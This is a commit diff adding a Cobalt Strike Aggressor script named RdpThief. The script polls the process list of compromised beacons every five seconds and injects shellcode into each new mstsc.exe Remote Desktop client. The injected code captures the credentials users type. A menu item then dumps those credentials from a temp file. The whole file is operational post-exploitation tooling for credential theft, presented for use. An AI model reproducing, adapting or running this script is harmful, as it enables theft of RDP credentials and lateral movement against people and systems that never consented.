Add files via upload

rdpthief/RdpThief.cna

@@ -0,0 +1,53 @@
+@beacons = @();
+@pids = @();
+
+on heartbeat_5s{
+
+		foreach $index => $beaconid (@beacons)
+		{
+		   
+		    bps($beaconid,&handleProcess);
+		}	
+
+}
+
+
+sub handleProcess{
+	
+	$processList = $2;
+	$index = indexOf($processList, "mstsc.exe", 0) + 9;
+
+	if($index > 9){
+
+		$temp = substr($processList,$index,-1);
+		$pid = split("\t",$temp)[2];
+
+		if ($pid !in @pids){
+			add(@pids,$pid,0);
+			blog($1,"Injecting into mstsc.exe with PID: $pid");
+			bshinject($1, $pid , "x64" ,script_resource("rdpthief/RdpThief_x64.tmp"));
+		}
+		
+	}
+}
+
+
+
+#append menus
+
+
+    menu "RdpThief"{
+        item "Rdpthief_Enable"{
+            blog($1, "RdpThief enabled \n");
+            add(@beacons,$1,0);
+        }
+
+        item "Rdpthief_Disable"{
+            blog($1, "Disabling RdpThief");
+            remove(@beacons,$1);
+        }
+
+        item "Rdpthief_Dump"{
+            bshell($1,"type %temp%\\data.bin");
+        }
+    }